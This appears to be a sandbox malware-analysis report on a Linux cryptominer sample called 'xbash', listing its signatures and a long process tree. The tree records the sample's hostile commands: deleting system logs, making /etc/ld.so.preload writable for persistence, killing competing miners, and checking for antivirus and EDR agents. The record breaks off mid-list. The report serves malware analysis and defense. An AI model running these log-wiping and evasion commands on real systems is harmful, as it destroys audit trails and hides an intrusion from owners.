Overview

overview

10

Static

static

1

xbash

ubuntu-18.04-amd64

9

xbash

debian-9-armhf

10

xbash

debian-9-mips

10

xbash

debian-9-mipsel

10

Analysis

  • max time kernel
    20s
  • max time network
    125s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20221111-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20221111-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/04/2023, 01:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    xbash
  • Size 51KB
  • Sample230426-b5ec6agc2x
  • SHA256 ece03e94521d55f8903f9aca43d4e8926499559267eb1b5730acd62d69eb451e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xmrig_linuxminerpersistence

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Deletes system logs 1 TTPs 25 IoCs
  • Modifies the dynamic linker configuration file 1 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

    persistence
  • Executes dropped EXE 1 IoCs
  • Reads CPU attributes 1 TTPs 44 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/xbash
    /tmp/xbash
    1⤵
      PID:331
      • dirname
        dirname /tmp/xbash
        2⤵
          PID:333
        • id
          id -u
          2⤵
            PID:334
          • mkdir
            mkdir /tmp/selfgz331
            2⤵
              PID:335
            • expr
              expr 53053 - 18556
              2⤵
                PID:353
              • basename
                basename /usr/bin/shasum
                2⤵
                  PID:357
                • basename
                  basename /usr/bin/md5sum
                  2⤵
                    PID:361
                  • expr
                    expr 1 + 1
                    2⤵
                      PID:388
                    • expr
                      expr 18556 + 34497
                      2⤵
                        PID:389
                      • expr
                        expr 18556 + 34497
                        2⤵
                          PID:422
                        • ./cronman
                          ./cronman
                          2⤵
                            PID:423
                            • basename
                              basename ./cronman
                              3⤵
                                PID:427
                              • grep
                                grep -a xfit /root/.bashrc
                                3⤵
                                  PID:432
                                • rm
                                  rm -rf "/home/*/.local/share/Trash/*/**"
                                  3⤵
                                    PID:433
                                  • rm
                                    rm -rf "/root/.local/share/Trash/*/**"
                                    3⤵
                                      PID:434
                                    • rm
                                      rm -rf /usr/share/man/cs /usr/share/man/da /usr/share/man/de /usr/share/man/es /usr/share/man/fi /usr/share/man/fr /usr/share/man/hu /usr/share/man/id /usr/share/man/it /usr/share/man/ja /usr/share/man/ko /usr/share/man/nl /usr/share/man/pl /usr/share/man/pt /usr/share/man/ru /usr/share/man/sl /usr/share/man/sv /usr/share/man/tr
                                      3⤵
                                        PID:435
                                      • rm
                                        rm -rf /usr/share/man/pt_BR /usr/share/man/zh_CN /usr/share/man/zh_TW
                                        3⤵
                                          PID:436
                                        • rm
                                          rm -rf /var/log/alternatives.log /var/log/apt /var/log/auth.log /var/log/btmp /var/log/daemon.log /var/log/debug /var/log/dpkg.log /var/log/faillog /var/log/installer /var/log/kern.log /var/log/lastlog /var/log/messages /var/log/syslog /var/log/wtmp /var/log/. /var/log/..
                                          3⤵
                                          • Deletes system logs
                                          PID:437
                                        • rm
                                          rm -rf "/core.*"
                                          3⤵
                                            PID:438
                                          • mkdir
                                            mkdir /tmp
                                            3⤵
                                              PID:439
                                            • basename
                                              basename ./cronman
                                              3⤵
                                                PID:443
                                              • mkdir
                                                mkdir /etc/xbash
                                                3⤵
                                                  PID:444
                                              • /tmp/selfgz331/.cronman
                                                /tmp/selfgz331/.cronman
                                                2⤵
                                                  PID:423
                                                  • sysctl
                                                    sysctl "kernel.pid_max=4194304"
                                                    3⤵
                                                    • Reads CPU attributes
                                                    PID:478
                                                  • basename
                                                    basename /tmp/selfgz331/.cronman
                                                    3⤵
                                                      PID:482
                                                    • grep
                                                      grep -a xfit /root/.bashrc
                                                      3⤵
                                                        PID:490
                                                      • mkdir
                                                        mkdir /tmp
                                                        3⤵
                                                          PID:491
                                                        • chmod
                                                          chmod 755 /etc/ld.so.preload
                                                          3⤵
                                                            PID:492
                                                          • ps
                                                            ps -eaf
                                                            3⤵
                                                            • Reads CPU attributes
                                                            • Reads runtime system information
                                                            PID:493
                                                          • grep
                                                            grep spend-secret-key
                                                            3⤵
                                                              PID:494
                                                            • grep
                                                              grep -v grep
                                                              3⤵
                                                                PID:495
                                                              • grep
                                                                grep -v "[d]efunct"
                                                                3⤵
                                                                  PID:496
                                                                • awk
                                                                  awk "{ print \$2 }"
                                                                  3⤵
                                                                    PID:497
                                                                  • xargs
                                                                    xargs kill -9
                                                                    3⤵
                                                                      PID:498
                                                                      • kill
                                                                        kill -9
                                                                        4⤵
                                                                          PID:499
                                                                        • kill
                                                                          kill -9
                                                                          4⤵
                                                                            PID:499
                                                                          • kill
                                                                            kill -9
                                                                            4⤵
                                                                              PID:499
                                                                            • kill
                                                                              kill -9
                                                                              4⤵
                                                                                PID:499
                                                                              • kill
                                                                                kill -9
                                                                                4⤵
                                                                                  PID:499
                                                                                • kill
                                                                                  kill -9
                                                                                  4⤵
                                                                                  • Reads CPU attributes
                                                                                  • Reads runtime system information
                                                                                  PID:499
                                                                              • ps
                                                                                ps -eaf
                                                                                3⤵
                                                                                • Reads CPU attributes
                                                                                • Reads runtime system information
                                                                                PID:500
                                                                              • grep
                                                                                grep -- "\\-\\-algo"
                                                                                3⤵
                                                                                  PID:501
                                                                                • grep
                                                                                  grep -v grep
                                                                                  3⤵
                                                                                    PID:502
                                                                                  • grep
                                                                                    grep -v "[d]efunct"
                                                                                    3⤵
                                                                                      PID:503
                                                                                    • awk
                                                                                      awk "{ print \$2 }"
                                                                                      3⤵
                                                                                        PID:504
                                                                                      • xargs
                                                                                        xargs kill -9
                                                                                        3⤵
                                                                                          PID:505
                                                                                          • kill
                                                                                            kill -9
                                                                                            4⤵
                                                                                              PID:506
                                                                                            • kill
                                                                                              kill -9
                                                                                              4⤵
                                                                                                PID:506
                                                                                              • kill
                                                                                                kill -9
                                                                                                4⤵
                                                                                                  PID:506
                                                                                                • kill
                                                                                                  kill -9
                                                                                                  4⤵
                                                                                                    PID:506
                                                                                                  • kill
                                                                                                    kill -9
                                                                                                    4⤵
                                                                                                      PID:506
                                                                                                    • kill
                                                                                                      kill -9
                                                                                                      4⤵
                                                                                                      • Reads CPU attributes
                                                                                                      PID:506
                                                                                                  • ps
                                                                                                    ps -eaf
                                                                                                    3⤵
                                                                                                    • Reads CPU attributes
                                                                                                    • Reads runtime system information
                                                                                                    PID:507
                                                                                                  • grep
                                                                                                    grep -- "\\-\\-url"
                                                                                                    3⤵
                                                                                                      PID:508
                                                                                                    • grep
                                                                                                      grep -v grep
                                                                                                      3⤵
                                                                                                        PID:509
                                                                                                      • grep
                                                                                                        grep -v "[d]efunct"
                                                                                                        3⤵
                                                                                                          PID:510
                                                                                                        • awk
                                                                                                          awk "{ print \$2 }"
                                                                                                          3⤵
                                                                                                            PID:511
                                                                                                          • xargs
                                                                                                            xargs kill -9
                                                                                                            3⤵
                                                                                                              PID:512
                                                                                                              • kill
                                                                                                                kill -9
                                                                                                                4⤵
                                                                                                                  PID:513
                                                                                                                • kill
                                                                                                                  kill -9
                                                                                                                  4⤵
                                                                                                                    PID:513
                                                                                                                  • kill
                                                                                                                    kill -9
                                                                                                                    4⤵
                                                                                                                      PID:513
                                                                                                                    • kill
                                                                                                                      kill -9
                                                                                                                      4⤵
                                                                                                                        PID:513
                                                                                                                      • kill
                                                                                                                        kill -9
                                                                                                                        4⤵
                                                                                                                          PID:513
                                                                                                                        • kill
                                                                                                                          kill -9
                                                                                                                          4⤵
                                                                                                                          • Reads CPU attributes
                                                                                                                          PID:513
                                                                                                                      • ps
                                                                                                                        ps -eaf
                                                                                                                        3⤵
                                                                                                                        • Reads CPU attributes
                                                                                                                        • Reads runtime system information
                                                                                                                        PID:514
                                                                                                                      • grep
                                                                                                                        grep -- "\\-\\-donate-level"
                                                                                                                        3⤵
                                                                                                                          PID:515
                                                                                                                        • grep
                                                                                                                          grep -v grep
                                                                                                                          3⤵
                                                                                                                            PID:516
                                                                                                                          • grep
                                                                                                                            grep -v "[d]efunct"
                                                                                                                            3⤵
                                                                                                                              PID:517
                                                                                                                            • awk
                                                                                                                              awk "{ print \$2 }"
                                                                                                                              3⤵
                                                                                                                                PID:518
                                                                                                                              • xargs
                                                                                                                                xargs kill -9
                                                                                                                                3⤵
                                                                                                                                  PID:519
                                                                                                                                  • kill
                                                                                                                                    kill -9
                                                                                                                                    4⤵
                                                                                                                                      PID:520
                                                                                                                                    • kill
                                                                                                                                      kill -9
                                                                                                                                      4⤵
                                                                                                                                        PID:520
                                                                                                                                      • kill
                                                                                                                                        kill -9
                                                                                                                                        4⤵
                                                                                                                                          PID:520
                                                                                                                                        • kill
                                                                                                                                          kill -9
                                                                                                                                          4⤵
                                                                                                                                            PID:520
                                                                                                                                          • kill
                                                                                                                                            kill -9
                                                                                                                                            4⤵
                                                                                                                                              PID:520
                                                                                                                                            • kill
                                                                                                                                              kill -9
                                                                                                                                              4⤵
                                                                                                                                              • Reads CPU attributes
                                                                                                                                              PID:520
                                                                                                                                          • ps
                                                                                                                                            ps -eaf
                                                                                                                                            3⤵
                                                                                                                                            • Reads CPU attributes
                                                                                                                                            • Reads runtime system information
                                                                                                                                            PID:521
                                                                                                                                          • grep
                                                                                                                                            grep minerd
                                                                                                                                            3⤵
                                                                                                                                              PID:522
                                                                                                                                            • grep
                                                                                                                                              grep -v grep
                                                                                                                                              3⤵
                                                                                                                                                PID:523
                                                                                                                                              • grep
                                                                                                                                                grep -v "[d]efunct"
                                                                                                                                                3⤵
                                                                                                                                                  PID:524
                                                                                                                                                • awk
                                                                                                                                                  awk "{ print \$2 }"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:525
                                                                                                                                                  • xargs
                                                                                                                                                    xargs kill -9
                                                                                                                                                    3⤵
                                                                                                                                                      PID:526
                                                                                                                                                      • kill
                                                                                                                                                        kill -9
                                                                                                                                                        4⤵
                                                                                                                                                          PID:527
                                                                                                                                                        • kill
                                                                                                                                                          kill -9
                                                                                                                                                          4⤵
                                                                                                                                                            PID:527
                                                                                                                                                          • kill
                                                                                                                                                            kill -9
                                                                                                                                                            4⤵
                                                                                                                                                              PID:527
                                                                                                                                                            • kill
                                                                                                                                                              kill -9
                                                                                                                                                              4⤵
                                                                                                                                                                PID:527
                                                                                                                                                              • kill
                                                                                                                                                                kill -9
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:527
                                                                                                                                                                • kill
                                                                                                                                                                  kill -9
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                  PID:527
                                                                                                                                                              • ps
                                                                                                                                                                ps -eaf
                                                                                                                                                                3⤵
                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                PID:528
                                                                                                                                                              • grep
                                                                                                                                                                grep xmr
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:529
                                                                                                                                                                • grep
                                                                                                                                                                  grep -v grep
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:530
                                                                                                                                                                  • grep
                                                                                                                                                                    grep -v "[d]efunct"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:531
                                                                                                                                                                    • awk
                                                                                                                                                                      awk "{ print \$2 }"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:532
                                                                                                                                                                      • xargs
                                                                                                                                                                        xargs kill -9
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:533
                                                                                                                                                                          • kill
                                                                                                                                                                            kill -9
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:534
                                                                                                                                                                            • kill
                                                                                                                                                                              kill -9
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:534
                                                                                                                                                                              • kill
                                                                                                                                                                                kill -9
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:534
                                                                                                                                                                                • kill
                                                                                                                                                                                  kill -9
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:534
                                                                                                                                                                                  • kill
                                                                                                                                                                                    kill -9
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:534
                                                                                                                                                                                    • kill
                                                                                                                                                                                      kill -9
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                      PID:534
                                                                                                                                                                                  • grep
                                                                                                                                                                                    grep cryptonight
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:536
                                                                                                                                                                                    • ps
                                                                                                                                                                                      ps -eaf
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                      PID:535
                                                                                                                                                                                    • grep
                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:537
                                                                                                                                                                                      • grep
                                                                                                                                                                                        grep -v "[d]efunct"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:538
                                                                                                                                                                                        • awk
                                                                                                                                                                                          awk "{ print \$2 }"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:539
                                                                                                                                                                                          • xargs
                                                                                                                                                                                            xargs kill -9
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:540
                                                                                                                                                                                              • kill
                                                                                                                                                                                                kill -9
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:541
                                                                                                                                                                                                • kill
                                                                                                                                                                                                  kill -9
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:541
                                                                                                                                                                                                  • kill
                                                                                                                                                                                                    kill -9
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:541
                                                                                                                                                                                                    • kill
                                                                                                                                                                                                      kill -9
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:541
                                                                                                                                                                                                      • kill
                                                                                                                                                                                                        kill -9
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:541
                                                                                                                                                                                                        • kill
                                                                                                                                                                                                          kill -9
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                          PID:541
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 xmrig
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:542
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f xmrig
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:543
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f Loopback
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:544
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f apaceha
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        PID:545
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f cryptonight
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:546
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f stratum
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        PID:547
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f minerd
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:548
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 log-rotate
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:549
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 warmun
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:550
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 kinettd
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:551
                                                                                                                                                                                                      • ps
                                                                                                                                                                                                        ps cax
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:552
                                                                                                                                                                                                      • grep
                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:553
                                                                                                                                                                                                        • grep
                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:554
                                                                                                                                                                                                          • grep
                                                                                                                                                                                                            grep top.sh
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:555
                                                                                                                                                                                                            • ps
                                                                                                                                                                                                              ps cax
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                              PID:556
                                                                                                                                                                                                            • grep
                                                                                                                                                                                                              grep -v grep
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:557
                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                grep -v "[d]efunct"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:558
                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                  grep ds_agent
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:559
                                                                                                                                                                                                                  • ps
                                                                                                                                                                                                                    ps cax
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                    PID:560
                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:561
                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                      grep -v "[d]efunct"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:562
                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                        grep vm-agent
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:563
                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                          ps cax
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                          PID:564
                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:565
                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:566
                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                              grep mysqll
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:567
                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                ps cax
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                PID:568
                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:569
                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:570
                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                    grep linux_client
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:571
                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                      ps -eaf
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                      PID:572
                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                      grep linux_client
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:573
                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:574
                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:575
                                                                                                                                                                                                                                          • awk
                                                                                                                                                                                                                                            awk "{ print \$2 }"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:576
                                                                                                                                                                                                                                            • xargs
                                                                                                                                                                                                                                              xargs kill -9
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:577
                                                                                                                                                                                                                                                • kill
                                                                                                                                                                                                                                                  kill -9
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:578
                                                                                                                                                                                                                                                  • kill
                                                                                                                                                                                                                                                    kill -9
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:578
                                                                                                                                                                                                                                                    • kill
                                                                                                                                                                                                                                                      kill -9
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:578
                                                                                                                                                                                                                                                      • kill
                                                                                                                                                                                                                                                        kill -9
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:578
                                                                                                                                                                                                                                                        • kill
                                                                                                                                                                                                                                                          kill -9
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:578
                                                                                                                                                                                                                                                          • kill
                                                                                                                                                                                                                                                            kill -9
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                            PID:578
                                                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                                                          ps cax
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:579
                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:580
                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:581
                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                              grep edr_agent
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:582
                                                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                                                ps -eo cmd
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                PID:583
                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:584
                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:585
                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                    grep edr_agent
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:586
                                                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                                                      ps -eo cmd
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                      PID:587
                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:588
                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                        grep cwpp_agent
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:589
                                                                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                                                                          ps -eo cmd
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                          PID:590
                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:591
                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:592
                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                              grep ds_agent
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:593
                                                                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                                                                ps cax
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                PID:594
                                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:595
                                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:596
                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                    grep guard_client
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:597
                                                                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                                                                      ps -eo cmd
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                      PID:598
                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:599
                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                        grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:600
                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                          grep qaxsafe
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:601
                                                                                                                                                                                                                                                                                          • ps
                                                                                                                                                                                                                                                                                            ps -eo cmd
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                            PID:602
                                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                                            grep -v grep
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:603
                                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                                              grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:604
                                                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                                                grep clamav
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:605
                                                                                                                                                                                                                                                                                                • ps
                                                                                                                                                                                                                                                                                                  ps -eo cmd
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                                                  PID:606
                                                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                                                  grep -v grep
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:607
                                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                                    grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:608
                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                      grep 360safed
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:609
                                                                                                                                                                                                                                                                                                      • ps
                                                                                                                                                                                                                                                                                                        ps -eo cmd
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        PID:610
                                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:611
                                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:612
                                                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                                                            grep eppagent
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:613
                                                                                                                                                                                                                                                                                                            • rm
